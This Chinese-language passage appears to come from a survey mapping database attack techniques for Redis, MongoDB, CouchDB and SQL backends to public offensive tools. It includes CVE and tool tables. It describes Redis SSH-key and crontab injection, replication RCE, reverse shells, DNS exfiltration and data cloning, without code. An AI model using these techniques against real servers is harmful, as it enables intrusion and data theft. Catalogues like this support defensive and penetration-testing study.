https://github.com/sqlmapproject/sqlmap/wiki/Features | + +--- + +## 五、Redis 攻击手法 + +> 涉及工具:MDUT、MDUT-Extend、RedisEXP、Databasetools、NoSQLMap + +### 5.1 未授权访问利用 + +| 属性 | 描述 | +|------|------| +| **描述** | 连接到无需密码认证的Redis实例,直接执行任意Redis命令,获取完全控制权。 | +| **涉及工具** | RedisEXP、Databasetools | +| **武器化状态** | **已实现** | +| **出处(RedisEXP)** | https://github.com/yuyan-sec/RedisEXP | +| **出处(Databasetools)** | https://github.com/Hel10-Web/Databasetools | + +### 5.2 密码爆破 + +| 属性 | 描述 | +|------|------| +| **描述** | 使用字典文件对Redis进行密码爆破,支持自定义密码字典。 | +| **涉及工具** | RedisEXP、Databasetools | +| **武器化状态** | **已实现** | +| **出处(RedisEXP)** | https://github.com/yuyan-sec/RedisEXP | +| **出处(Databasetools)** | https://github.com/Hel10-Web/Databasetools | + +### 5.3 主从复制RCE (Master-Slave Replication RCE) + +| 属性 | 描述 | +|------|------| +| **描述** | 利用Redis主从复制机制,将目标Redis实例设置为攻击者控制的恶意主节点的从节点,通过FULLRESYNC同步恶意模块文件(exp.so/exp.dll)到目标,加载模块执行系统命令。**注意:此操作会清空目标Redis数据!** | +| **影响版本** | Redis 4.x、5.x (Redis 6.0+引入ACL限制,Redis 7.0默认禁用模块加载) | +| **涉及工具** | MDUT、RedisEXP、Databasetools | +| **武器化状态** | **已实现** | +| **出处(MDUT)** | https://github.com/SafeGroceryStore/MDUT/blob/main/redis-cus-rogue.py | +| **出处(RedisEXP)** | https://github.com/yuyan-sec/RedisEXP | +| **出处(Databasetools)** | https://github.com/Hel10-Web/Databasetools | + +### 5.4 模块加载RCE (Module Load RCE) + +| 属性 | 描述 | +|------|------| +| **描述** | 直接在目标Redis上加载恶意的.so或.dll模块文件,注册system.exec命令实现任意命令执行。 | +| **影响版本** | Redis 4.x+ | +| **涉及工具** | RedisEXP | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/yuyan-sec/RedisEXP | + +### 5.5 SSH公钥注入 (SSH Key Injection) + +| 属性 | 描述 | +|------|------| +| **描述** | 通过Redis的`CONFIG SET dir`和`CONFIG SET dbfilename`命令,将攻击者的SSH公钥写入目标服务器的`/root/.ssh/authorized_keys`文件,实现无密码SSH登录。MDUT-Extend提供无损写入方式。 | +| **目标平台** | Linux | +| **涉及工具** | MDUT、MDUT-Extend、RedisEXP、Databasetools | +| **武器化状态** | **已实现** | +| **出处(MDUT)** | https://github.com/SafeGroceryStore/MDUT | +| **出处(MDUT-Extend)** | https://github.com/DeEpinGh0st/MDUT-Extend-Release/releases/tag/v1.0.0 | +| **出处(RedisEXP)** | https://github.com/yuyan-sec/RedisEXP | +| **出处(Databasetools)** | https://github.com/Hel10-Web/Databasetools | + +### 5.6 WebShell写入 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用Redis的持久化功能,将WebShell内容写入Web服务器可访问的目录,获取Web后门。支持base64编码写入。 | +| **涉及工具** | MDUT、RedisEXP、Databasetools | +| **武器化状态** | **已实现** | +| **出处(MDUT)** | https://github.com/SafeGroceryStore/MDUT | +| **出处(RedisEXP)** | https://github.com/yuyan-sec/RedisEXP | +| **出处(Databasetools)** | https://github.com/Hel10-Web/Databasetools | + +### 5.7 计划任务注入 (Crontab Injection) + +| 属性 | 描述 | +|------|------| +| **描述** | 通过Redis向Linux系统的计划任务目录(如`/var/spool/cron/`)写入恶意计划任务文件,实现定时命令执行或反弹Shell。 | +| **目标平台** | Linux | +| **涉及工具** | RedisEXP、Databasetools | +| **武器化状态** | **已实现** | +| **出处(RedisEXP)** | https://github.com/yuyan-sec/RedisEXP | +| **出处(Databasetools)** | https://github.com/Hel10-Web/Databasetools | + +### 5.8 Lua沙盒绕过 (CVE-2022-0543) + +| 属性 | 描述 | +|------|------| +| **描述** | 利用Debian/Ubuntu系统下Redis的Lua脚本沙箱逃逸漏洞执行任意系统命令。该漏洞源于Debian对Lua沙箱的补丁缺陷。 | +| **CVE编号** | CVE-2022-0543 | +| **目标平台** | Debian/Ubuntu发行版 | +| **涉及工具** | MDUT-Extend、RedisEXP、Databasetools | +| **武器化状态** | **已实现** | +| **出处(MDUT-Extend)** | https://github.com/DeEpinGh0st/MDUT-Extend-Release/releases/tag/v1.3.0 | +| **出处(RedisEXP)** | https://github.com/yuyan-sec/RedisEXP | +| **出处(Databasetools)** | https://github.com/Hel10-Web/Databasetools | + +### 5.9 Gopher SSRF Payload生成 + +| 属性 | 描述 | +|------|------| +| **描述** | 生成Gopher协议的Redis命令Payload,用于通过SSRF漏洞攻击内网Redis实例。 | +| **涉及工具** | RedisEXP | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/yuyan-sec/RedisEXP | + +### 5.10 DLL劫持 (Windows) + +| 属性 | 描述 | +|------|------| +| **描述** | 通过Redis写入恶意的dbghelp.dll文件到redis-server.exe所在目录,利用Windows DLL加载机制实现代码执行。 | +| **目标平台** | Windows | +| **涉及工具** | RedisEXP | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/yuyan-sec/RedisEXP | + +### 5.11 反弹Shell + +| 属性 | 描述 | +|------|------| +| **描述** | 通过Redis实现反弹Shell功能。MDUT v2.1.0+和MDUT-Extend均支持。 | +| **涉及工具** | MDUT、MDUT-Extend | +| **武器化状态** | **已实现** | +| **出处(MDUT)** | https://github.com/SafeGroceryStore/MDUT | +| **出处(MDUT-Extend)** | https://github.com/DeEpinGh0st/MDUT-Extend-Release | + +### 5.12 无损文件读写 (MDUT-Extend) + +| 属性 | 描述 | +|------|------| +| **描述** | Redis无损文件读写功能,可在不破坏原有文件内容的情况下读写目标文件。 | +| **涉及工具** | MDUT-Extend | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/DeEpinGh0st/MDUT-Extend-Release/releases/tag/v1.0.0 | + +### 5.13 主从复制文件上传 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用主从复制机制将任意文件上传到目标Redis服务器指定路径,可用于上传WebShell、恶意程序等。 | +| **涉及工具** | RedisEXP | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/yuyan-sec/RedisEXP | + +### 5.14 文件存在性检测 + +| 属性 | 描述 | +|------|------| +| **描述** | 通过Redis判断目标服务器上指定绝对路径的文件是否存在。 | +| **涉及工具** | RedisEXP | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/yuyan-sec/RedisEXP | + +### 5.15 CVE-2025-49844 利用 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用Redis的安全漏洞实现代码执行。 | +| **CVE编号** | CVE-2025-49844 | +| **涉及工具** | MDUT-Extend | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/DeEpinGh0st/MDUT-Extend-Release/releases/tag/v1.3.0 | + +### 5.16 Slave-Read-Only控制与痕迹清理 + +| 属性 | 描述 | +|------|------| +| **描述** | 控制Redis从节点的只读属性;执行`SLAVEOF NO ONE`断开主从复制关系用于攻击后清理。 | +| **涉及工具** | MDUT、RedisEXP | +| **武器化状态** | **已实现** | +| **出处(MDUT)** | https://github.com/SafeGroceryStore/MDUT | +| **出处(RedisEXP)** | https://github.com/yuyan-sec/RedisEXP | + +--- + +## 六、MongoDB 攻击手法 + +> 涉及工具:MDUT-Extend、NoSQLMap、sqlmap(2026新增) + +### 6.1 未授权访问扫描与利用 + +| 属性 | 描述 | +|------|------| +| **描述** | 扫描目标网络中开放的MongoDB实例,检测是否存在未授权访问。可对整个网段进行批量扫描,发现匿名可访问的MongoDB实例。 | +| **涉及工具** | NoSQLMap、MDUT-Extend | +| **武器化状态** | **已实现** | +| **出处(NoSQLMap)** | https://github.com/codingo/NoSQLMap/blob/master/nsmscan.py | +| **出处(MDUT-Extend)** | https://github.com/DeEpinGh0st/MDUT-Extend-Release/releases/tag/v1.3.0 | + +### 6.2 数据库枚举与克隆 + +| 属性 | 描述 | +|------|------| +| **描述** | 获取MongoDB服务器版本和平台信息、列出所有数据库、枚举集合。将目标MongoDB数据库完整克隆到攻击者控制的MongoDB实例中,实现数据窃取。 | +| **涉及工具** | NoSQLMap、MDUT-Extend | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/codingo/NoSQLMap/blob/master/nsmmongo.py | + +### 6.3 NoSQL Web应用注入攻击 + +| 属性 | 描述 | +|------|------| +| **描述** | 针对使用MongoDB的Web应用进行自动化注入测试,支持布尔盲注、时间盲注、JavaScript注入($where操作符)、认证绕过。支持GET/POST方法和Burp请求导入。 | +| **涉及工具** | NoSQLMap | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/codingo/NoSQLMap/blob/master/nsmweb.py | + +### 6.4 GridFS文件枚举 + +| 属性 | 描述 | +|------|------| +| **描述** | 通过MongoDB的GridFS功能枚举存储的文件(附件),可能获取敏感文件。 | +| **涉及工具** | NoSQLMap | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/codingo/NoSQLMap/blob/master/nsmmongo.py | + +### 6.5 Meterpreter Shell获取 + +| 属性 | 描述 | +|------|------| +| **描述** | 通过MongoDB服务获取Meterpreter反向Shell,实现远程控制。 | +| **涉及工具** | NoSQLMap | +| **武器化状态** | **已实现** | +| **条件** | 需要Metasploit Framework配合 | +| **出处** | https://github.com/codingo/NoSQLMap | + +### 6.6 命令执行 (MDUT-Extend) + +| 属性 | 描述 | +|------|------| +| **描述** | MDUT-Extend v1.3.0新增对MongoDB数据库的利用支持,包括命令执行等操作。 | +| **涉及工具** | MDUT-Extend | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/DeEpinGh0st/MDUT-Extend-Release/releases/tag/v1.3.0 | + +### 6.7 NoSQL注入支持 (sqlmap 2026新增) + +| 属性 | 描述 | +|------|------| +| **描述** | sqlmap在2026年新增对MongoDB等NoSQL数据库的注入检测和利用支持。 | +| **涉及工具** | sqlmap | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/sqlmapproject/sqlmap/commit/2893fd5c4d8f056f76f73facb6e6e24a25c04c85 | + +--- + +## 七、CouchDB 攻击手法 + +> 涉及工具:NoSQLMap + +### 7.1 未授权访问扫描 + +| 属性 | 描述 | +|------|------| +| **描述** | 扫描并检测CouchDB实例是否存在未授权访问,无需凭据即可连接并获取数据库信息。 | +| **涉及工具** | NoSQLMap | +| **武器化状态** | **已实现** | +| **对应代码** | nsmcouch.py - couchScan函数 | +| **出处** | https://github.com/codingo/NoSQLMap/blob/master/nsmcouch.py | + +### 7.2 数据库/用户/密码哈希枚举 + +| 属性 | 描述 | +|------|------| +| **描述** | 枚举所有数据库、用户列表和密码哈希(包括SHA1哈希和盐值),支持字典攻击和暴力破解恢复明文密码。 | +| **涉及工具** | NoSQLMap | +| **武器化状态** | **已实现** | +| **支持哈希版本** | CouchDB < 1.3: `password_sha` (SHA1); CouchDB >= 1.3: `derived_key` (PBKDF2) | +| **出处** | https://github.com/codingo/NoSQLMap/blob/master/nsmcouch.py | + +### 7.3 数据库克隆 + +| 属性 | 描述 | +|------|------| +| **描述** | 利用CouchDB的复制功能将目标数据库完整克隆到攻击者控制的CouchDB实例。 | +| **涉及工具** | NoSQLMap | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/codingo/NoSQLMap/blob/master/nsmcouch.py | + +### 7.4 Web应用注入攻击 + +| 属性 | 描述 | +|------|------| +| **描述** | 通过NoSQLMap的Web应用攻击模块,针对使用CouchDB的Web应用进行注入测试。支持布尔盲注、时间盲注、JavaScript注入。 | +| **涉及工具** | NoSQLMap | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/codingo/NoSQLMap/blob/master/nsmweb.py | + +--- + +## 八、Cassandra 攻击手法 + +| 属性 | 描述 | +|------|------| +| **描述** | NoSQLMap README中明确指出计划在未来的版本中增加对Cassandra数据库的支持。目前无武器化攻击手法。 | +| **涉及工具** | NoSQLMap (计划中) | +| **武器化状态** | **计划中(尚未实现)** | +| **出处** | https://github.com/codingo/NoSQLMap#readme | + +--- + +## 九、多数据库/通用攻击手法 + +> 涉及工具:sqlmap(支持40+种数据库后端) + +### 9.1 SQL注入检测技术(5种核心技法) + +| 技术名称 | 英文名称 | 描述 | 武器化状态 | +|----------|----------|------|------------| +| **基于布尔的盲注** | Boolean-based blind | 替换或追加受影响的参数,使用包含SELECT子语句的SQL语句字符串。通过比较HTTP响应头/正文与原始请求的差异,逐字符推断注入语句的输出。采用二分算法。 | **已实现** | +| **基于时间的盲注** | Time-based blind | 替换或追加受影响的参数,使用使后端DBMS延迟返回一定秒数的查询语句。通过比较HTTP响应时间与原始请求的差异,逐字符推断注入语句的输出。 | **已实现** | +| **基于报错的注入** | Error-based | 替换或追加受影响的参数,使用特定于数据库的错误消息语句。解析HTTP响应搜索包含注入预定义字符链和子查询输出的DBMS错误消息。 | **已实现** | +| **UNION查询注入** | UNION query-based | 追加到受影响的参数,使用以`UNION ALL SELECT`开头的语法有效的SQL语句。适用于Web应用页面直接在for循环中传递SELECT语句输出的场景。 | **已实现** | +| **堆叠查询注入** | Stacked queries | 测试Web应用是否支持堆叠查询,如果支持,则追加分号(`;`)后跟要执行的SQL语句。可用于执行除SELECT之外的其他SQL语句。 | **已实现** | + +**出处**: https://github.com/sqlmapproject/sqlmap/wiki/Techniques + +### 9.2 数据库指纹识别 + +| 攻击手法 | 描述 | 武器化状态 | +|----------|------|------------| +| **数据库软件版本识别** | 基于错误消息、banner解析、函数输出比较和特定功能进行广泛的后端数据库软件版本和底层操作系统指纹识别。 | **已实现** | +| **强制指定DBMS** | 用户可以通过`--dbms`选项强制指定后端数据库管理系统名称。 | **已实现** | +| **Web服务器/应用技术识别** | 基本的Web服务器软件和Web应用技术指纹。 | **已实现** | +| **Banner获取** | 支持检索DBMS banner信息。 | **已实现** | +| **会话用户识别** | 支持检索当前会话用户信息和当前数据库信息。 | **已实现** | +| **DBA权限检测** | 支持检查会话用户是否为数据库管理员(DBA)。 | **已实现** | + +**出处**: https://github.com/sqlmapproject/sqlmap/wiki/Features + +### 9.3 数据提取与枚举 + +| 攻击手法 | 描述 | 武器化状态 | +|----------|------|------------| +| **用户枚举** | 枚举DBMS所有用户。 | **已实现** | +| **密码哈希提取** | 枚举DBMS用户密码哈希,自动识别格式并支持字典攻击破解。 | **已实现** | +| **权限/角色枚举** | 枚举DBMS用户权限和角色。 | **已实现** | +| **数据库/表/列枚举** | 枚举所有数据库、指定数据库的表、指定表的列。 | **已实现** | +| **Schema枚举** | 枚举完整的数据库schema。 | **已实现** | +| **全库数据Dump** | 支持完整导出数据库表、指定范围的条目或特定列;自动dump所有数据库的schema和条目。 | **已实现** | +| **关键词搜索** | 搜索特定数据库名称、跨所有数据库的特定表、或跨所有表的特定列。 | **已实现** | +| **自定义SQL执行** | 在交互式SQL客户端中运行自定义SQL语句。 | **已实现** | +| **暴力破解表名/列名** | 当无权读取系统表时,暴力破解表名和列名。 | **已实现** | + +**出处**: https://github.com/sqlmapproject/sqlmap/wiki/Features + +### 9.4 文件系统访问 + +| 攻击手法 | 描述 | 目标数据库 | 武器化状态 | +|----------|------|------------|------------| +| **文件读取** | 从后端DBMS文件系统读取文件。 | MySQL, PostgreSQL, MSSQL, Oracle等 | **已实现** | +| **文件写入** | 将本地文件写入后端DBMS文件系统。 | MySQL, PostgreSQL, MSSQL, Oracle等 | **已实现** | + +**出处**: https://github.com/sqlmapproject/sqlmap/wiki/Features + +### 9.5 操作系统命令执行 + +| 攻击手法 | 描述 | 目标数据库 | 武器化状态 | +|----------|------|------------|------------| +| **UDF注入命令执行** | 注入自定义UDF执行任意命令并检索标准输出。 | MySQL, PostgreSQL | **已实现** | +| **xp_cmdshell命令执行** | 通过MSSQL的xp_cmdshell()存储过程执行命令,自动启用/重建。 | MSSQL | **已实现** | +| **交互式OS Shell** | 提供交互式操作系统shell。 | MySQL, PostgreSQL, MSSQL | **已实现** | + +**出处**: https://github.com/sqlmapproject/sqlmap/wiki/Features + +### 9.6 OAST攻击与Metasploit集成 + +| 攻击手法 | 描述 | 目标数据库 | 武器化状态 | +|----------|------|------------|------------| +| **带外TCP连接** | 建立攻击者机器与数据库服务器之间的带外有状态TCP连接(交互式命令提示符、Meterpreter或VNC)。 | MySQL, PostgreSQL, MSSQL | **已实现** | +| **DNS外泄攻击** | 使用DNS域名进行数据外泄。 | 支持的数据库 | **已实现** | +| **Metasploit Shellcode内存执行** | 通过UDF `sys_bineval()` 在数据库内存中执行Metasploit shellcode。 | MySQL, PostgreSQL | **已实现** | +| **独立Payload上传执行** | 通过UDF `sys_exec()` 上传和执行Metasploit独立payload stager。 | MySQL, PostgreSQL, MSSQL | **已实现** | +| **SMB反射攻击** | 通过SMB反射攻击(MS08-068)执行Metasploit shellcode。 | MSSQL (Windows) | **已实现** | +| **sp_replwritetovarbin溢出利用** | 利用MSSQL 2000/2005的sp_replwritetovarbin存储过程堆缓冲区溢出(MS09-004),自动DEP绕过。 | MSSQL 2000/2005 | **已实现** | +| **权限提升** | 通过Metasploit的getsystem命令支持数据库进程用户权限提升。 | Windows | **已实现** | + +**出处**: https://github.com/sqlmapproject/sqlmap/wiki/Features + +### 9.7 Windows注册表访问 + +| 攻击手法 | 描述 | 武器化状态 | +|----------|------|------------| +| **注册表读取** | 读取Windows注册表键值。 | **已实现** | +| **注册表写入** | 写入Windows注册表键值数据。 | **已实现** | +| **注册表删除** | 删除Windows注册表键值。 | **已实现** | + +**出处**: https://github.com/sqlmapproject/sqlmap/wiki/Features + +### 9.8 多目标扫描 (MDUT-Extend) + +| 属性 | 描述 | +|------|------| +| **描述** | 新增对多种数据库的批量存活探测功能,可扫描目标网段中存活的数据库服务。 | +| **目标数据库** | MySQL、MSSQL、Oracle、PostgreSQL、Redis、MongoDB | +| **涉及工具** | MDUT-Extend | +| **武器化状态** | **已实现** | +| **出处** | https://github.com/DeEpinGh0st/MDUT-Extend-Release/releases/tag/v1.3.0 | + +--- + +## 十、跨数据库攻击手法对比总表 + +### 10.1 命令执行类攻击手法对比 + +| 攻击手法 | MySQL | MSSQL | Oracle | PostgreSQL | Redis | MongoDB | +|----------|-------|-------|--------|-----------|-------|---------| +| UDF提权/命令执行 | MDUT/sqlmap | - | - | sqlmap | - | - | +| xp_cmdshell | - | MDUT/MSDAT/PowerUpSQL/SQLRecon/SharpSQLTools/Sylas/sqlmap | - | - | - | - | +| sp_oacreate/OLE Automation | - | MDUT/MSDAT/PowerUpSQL/SQLRecon/SharpSQLTools/Sylas | - | - | - | - | +| CLR程序集执行 | - | MDUT/PowerUpSQL/SQLRecon/SharpSQLTools/Sylas | - | - | - | - | +| Agent Job命令执行 | - | MSDAT/PowerUpSQL/SQLRecon | - | - | - | - | +| R/Python脚本执行 | - | PowerUpSQL | - | - | - | - | +| Java存储过程 | - | - | MDUT/ODAT | - | - | - | +| DBMS_SCHEDULER | - | - | ODAT/Sylas | - | - | - | +| DBMS_XMLQUERY | - | - | Sylas | - | - | - | +| External Table | - | - | ODAT | - | - | - | +| ORADBG | - | - | ODAT | - | - | - | +| COPY FROM PROGRAM | - | - | - | MDUT/Sylas/sqlmap | - | - | +| 主从复制RCE | - | - | - | - | MDUT/RedisEXP/Databasetools | - | +| 模块加载RCE | - | - | - | - | RedisEXP | - | +| Lua沙盒绕过 | - | - | - | - | MDUT-Extend/RedisEXP/Databasetools | - | +| 命令执行(MongoDB) | - | - | - | - | - | MDUT-Extend | + +### 10.2 文件操作类攻击手法对比 + +| 攻击手法 | MySQL | MSSQL | Oracle | PostgreSQL | Redis | +|----------|-------|-------|--------|-----------|-------| +| 文件读取 | sqlmap | MDUT/MSDAT/SharpSQLTools/Sylas/sqlmap | ODAT/MDUT/Sylas/sqlmap | MDUT-Extend/Sylas/sqlmap | RedisEXP | +| 文件写入/上传 | MDUT/sqlmap | MDUT/MSDAT/SharpSQLTools/Sylas/sqlmap | ODAT/MDUT/Sylas/sqlmap | MDUT/Sylas/sqlmap | RedisEXP/Databasetools | +| 文件下载 | - | MDUT/MSDAT/SharpSQLTools | ODAT/MDUT-Extend | - | - | +| WebShell写入 | - | Sylas | - | Sylas | RedisEXP/Databasetools | +| SSH公钥注入 | - | - | - | - | MDUT/MDUT-Extend/RedisEXP/Databasetools | +| 大文件分块传输 | - | - | MDUT-Extend | - | - | + +### 10.3 权限提升与持久化类攻击手法对比 + +| 攻击手法 | MySQL | MSSQL | Oracle | PostgreSQL | Redis | +|----------|-------|-------|--------|-----------|-------| +| Impersonation提权 | - | PowerUpSQL/SQLRecon | - | - | - | +| Trustworthy提权 | - | MSDAT/PowerUpSQL | - | - | - | +| 本地Admin到sysadmin | - | PowerUpSQL | - | - | - | +| Potato系列提权 | - | MDUT-Extend/SharpSQLTools | - | - | - | +| CREATE ANY PROCEDURE提权 | - | - | ODAT | - | - | +| ANALYZE ANY提权 | - | - | ODAT | - | - | +| 注册表持久化 | - | PowerUpSQL | - | - | - | +| 触发器持久化 | - | PowerUpSQL | - | - | - | +| Shellcode加载 | - | MDUT-Extend/SharpSQLTools | - | - | - | + +### 10.4 网络/横向移动类攻击手法对比 + +| 攻击手法 | MySQL | MSSQL | Oracle | PostgreSQL | Redis | +|----------|-------|-------|--------|-----------|-------| +| SMB认证捕获 | - | MSDAT/PowerUpSQL/SQLRecon | ODAT | - | - | +| 端口扫描 | - | MSDAT | ODAT(UTL_HTTP/UTL_TCP) | - | - | +| HTTP请求发送 | - | - | ODAT(UTL_HTTP/HttpUriType) | - | - | +| 链接服务器爬取 | - | PowerUpSQL/SQLRecon | - | - | - | +| DNS外泄 | sqlmap | sqlmap | sqlmap | sqlmap | - | +| Gopher SSRF | - | - | - | - | RedisEXP | + +### 10.5 信息收集/枚举类攻击手法对比 + +| 攻击手法 | MySQL | MSSQL | Oracle | PostgreSQL | Redis | MongoDB | CouchDB | +|----------|-------|-------|--------|-----------|-------|---------|---------| +| 无认证信息获取 | - | MSDAT/SQLRecon | ODAT(TNS) | - | - | - | - | +| 凭据暴力破解 | enumdb | MSDAT/PowerUpSQL/enumdb | ODAT | - | RedisEXP/Databasetools | - | NoSQLMap | +| 密码哈希提取 | sqlmap | MSDAT/PowerUpSQL | ODAT | sqlmap | - | - | NoSQLMap | +| 数据库枚举 | enumdb/sqlmap | MSDAT/PowerUpSQL/SQLRecon/enumdb | ODAT | sqlmap | - | NoSQLMap/MDUT-Extend | NoSQLMap | +| SPN/域枚举 | - | PowerUpSQL/SQLRecon | - | - | - | - | - | +| 敏感数据搜索 | enumdb/sqlmap | MSDAT/PowerUpSQL/SQLRecon/enumdb | ODAT | sqlmap | - | - | - | +| 数据库克隆 | - | - | - | - | - | NoSQLMap | NoSQLMap | + +--- + +## 十一、汇总统计表 + +### 11.1 各数据库类型攻击手法数量统计 + +| 数据库类型 | 攻击手法数量 | 主要来源工具 | 关键CVE | +|-----------|------------|-------------|---------| +| **MySQL** | 8 | MDUT, sqlmap, enumdb | - | +| **Microsoft SQL Server** | 48+ | MDUT, MDUT-Extend, MSDAT, PowerUpSQL, SQLRecon, SharpSQLTools, Sylas, enumdb, sqlmap | MS08-068, MS09-004 | +| **Oracle** | 37+ | MDUT, MDUT-Extend, ODAT, Sylas, sqlmap | CVE-2012-1675, CVE-2012-3137, CVE-2014-4237, CVE-2018-3004, CVE-2020-2984 | +| **PostgreSQL** | 6 | MDUT, MDUT-Extend, Sylas, sqlmap | - | +| **Redis** | 16 | MDUT, MDUT-Extend, RedisEXP, Databasetools | CVE-2022-0543, CVE-2025-49844 | +| **MongoDB** | 7 | MDUT-Extend, NoSQLMap, sqlmap | - | +| **CouchDB** | 4 | NoSQLMap | - | +| **Cassandra** | 0 (计划中) | NoSQLMap | - | +| **多数据库/通用** | 20+ | sqlmap | - | +| **总计** | **142+** | **15+款工具** | **10+个CVE** | + +### 11.2 CVE漏洞利用汇总表 + +| CVE编号 | 目标数据库 | 影响版本 | 利用效果 | 涉及工具 | +|---------|-----------|----------|----------|----------| +| CVE-2012-1675 | Oracle 10g/11g | 默认安装后均受影响 | TNS Listener投毒,中间人攻击 | ODAT | +| CVE-2012-3137 | Oracle 11g | Oracle 11g | 会话密钥嗅探,破解密码 | ODAT | +| CVE-2014-4237 | Oracle 11g/12c | 受影响版本 | SELECT用户可修改任意表 | ODAT | +| CVE-2018-3004 | Oracle 12c/18c/19c | 受影响版本 | JVM安全限制绕过,任意文件写入 | ODAT | +| CVE-2020-2984 | Oracle | 受影响版本 | 通过ORACLE_OCM间接获取密码哈希 | ODAT | +| CVE-2022-0543 | Redis (Debian/Ubuntu) | Debian/Ubuntu上的Redis | Lua沙箱逃逸,命令执行 | MDUT-Extend, RedisEXP, Databasetools | +| CVE-2025-49844 | Redis | 特定Redis版本 | 代码执行 | MDUT-Extend | +| MS08-068 | MSSQL (Windows) | Windows | SMB反射攻击 | sqlmap | +| MS09-004 | MSSQL 2000/2005 | MSSQL 2000/2005 | sp_replwritetovarbin堆缓冲区溢出 | sqlmap | + +--- + +## 十二、工具索引表 + +### 12.1 工具概览 + +| 工具名称 | 开发语言 | 主要目标数据库 | 攻击手法数量 | GitHub Stars | 项目地址 | +|----------|----------|--------------|------------|-------------|----------| +| **sqlmap** | Python | 40+种数据库 | 30+ | 37.7k+ | https://github.com/sqlmapproject/sqlmap | +| **ODAT** | Python 3 | Oracle | 36+ | - | https://github.com/quentinhardy/odat | +| **PowerUpSQL** | PowerShell | MSSQL | 40+ | 2.7k+ | https://github.com/NetSPI/PowerUpSQL | +| **SQLRecon** | C# | MSSQL/Azure SQL | 45+ | 813+ | https://github.com/skahwah/SQLRecon | +| **MDUT** | Java | MySQL/MSSQL/Oracle/PostgreSQL/Redis | 20+ | 2.2k+ | https://github.com/SafeGroceryStore/MDUT | +| **MDUT-Extend** | Java | MySQL/MSSQL/Oracle/PostgreSQL/Redis/MongoDB | 25+ | 926+ | https://github.com/DeEpinGh0st/MDUT-Extend-Release | +| **MSDAT** | Python 3 | MSSQL | 23+ | - | https://github.com/quentinhardy/msdat | +| **SharpSQLTools** | C# | MSSQL | 30+ | 965+ | https://github.com/uknowsec/SharpSQLTools | +| **NoSQLMap** | Python | MongoDB/CouchDB | 10+ | 3.3k+ | https://github.com/codingo/NoSQLMap | +| **RedisEXP** | Go | Redis | 13+ | 944+ | https://github.com/yuyan-sec/RedisEXP | +| **Databasetools** | Go | MySQL/MSSQL/Oracle/PostgreSQL/Redis | 10+ | 866+ | https://github.com/Hel10-Web/Databasetools | +| **Sylas** | C# | MSSQL/Oracle/PostgreSQL | 15+ | 545+ | https://github.com/Ryze-T/Sylas | +| **enumdb** | Python 3 | MySQL/MSSQL | 10+ | 222+ | https://github.com/m8sec/enumdb | + +### 12.2 各工具支持的攻击手法速查 + +| 工具 | MySQL | MSSQL | Oracle | PostgreSQL | Redis | MongoDB | CouchDB | +|------|-------|-------|--------|-----------|-------|---------|---------| +| **MDUT** | UDF提权/反弹Shell/NTFS/命令执行/HTTP隧道 | CLR/sp_oacreate/文件管理 | Java执行/反弹Shell/文件管理 | UDF提权/命令执行 | 主从复制/SSH注入/反弹Shell | - | - | +| **MDUT-Extend** | 驱动切换 | GodPotato/Shellcode/综合利用 | 大文件传输 | CVE文件读取 | 无损读写/CVE-2022-0543/CVE-2025-49844/反弹Shell | 命令执行 | - | +| **ODAT** | - | - | 36+种攻击手法(SID枚举/命令执行/文件操作/权限提升/CVE利用等) | - | - | - | - | +| **MSDAT** | - | 23+种攻击手法(xp_cmdshell/OLE/AgentJob/SMB/哈希提取/端口扫描等) | - | - | - | - | - | +| **PowerUpSQL** | - | 40+种攻击手法(发现/提权/命令执行/持久化/链接爬取等) | - | - | - | - | - | +| **SQLRecon** | - | 45+种攻击手法(含SCCM/Azure/PTH/ADSI等高级模块) | - | - | - | - | - | +| **SharpSQLTools** | - | xp_cmdshell/sp_oacreate/CLR提权/LSASS转储/Shellcode加载等 | - | - | - | - | - | +| **Sylas** | - | xp_cmdshell/sp_oacreate/CLR/WebShell写入 | DBMS_XMLQUERY/DBMS_SCHEDULER/文件管理 | COPY命令执行/WebShell写入 | - | - | - | +| **sqlmap** | 完整注入支持/UDF/文件读写/OS Shell | 完整注入支持/xp_cmdshell/文件读写/OS Shell | 完整注入支持/文件读写 | 完整注入支持/COPY/UDF/文件读写 | - | NoSQL注入(2026新增) | - | +| **enumdb** | 暴力破解/枚举/Dump | 暴力破解/枚举/Dump | - | - | - | - | - | +| **NoSQLMap** | - | - | - | - | - | 匿名访问/注入/克隆/GridFS | 未授权访问/枚举/克隆/注入 | +| **RedisEXP** | - | - | - | - | 13种攻击手法(主从复制/模块/SSH/WebShell/Crontab/CVE-2022-0543/Gopher/DLL劫持等) | - | - | +| **Databasetools** | - | - | - | - | 7种攻击手法(交互式Shell/主从复制/Lua绕过/SSH/WebShell/Crontab/爆破) | - | - | + +--- + +## 参考链接汇总 + +### MySQL相关工具 +1. MDUT: https://github.com/SafeGroceryStore/MDUT +2. MDUT中文文档: https://www.yuque.com/u21224612/nezuig +3. MDUT-Extend: https://github.com/DeEpinGh0st/MDUT-Extend-Release + +### MSSQL相关工具 +4. MSDAT: https://github.com/quentinhardy/msdat +5. PowerUpSQL: https://github.com/NetSPI/PowerUpSQL +6. PowerUpSQL Wiki: https://github.com/NetSPI/PowerUpSQL/wiki +7. SQLRecon: https://github.com/skahwah/SQLRecon +8. SharpSQLTools: https://github.com/uknowsec/SharpSQLTools +9. enumdb: https://github.com/m8sec/enumdb + +### Oracle相关工具 +10. ODAT: https://github.com/quentinhardy/odat +11. ODAT Wiki: https://github.com/quentinhardy/odat/wiki +12. Sylas: https://github.com/Ryze-T/Sylas + +### NoSQL相关工具 +13. NoSQLMap: https://github.com/codingo/NoSQLMap +14. RedisEXP: https://github.com/yuyan-sec/RedisEXP +15. Databasetools: https://github.com/Hel10-Web/Databasetools + +### 通用SQL注入工具 +16. sqlmap: 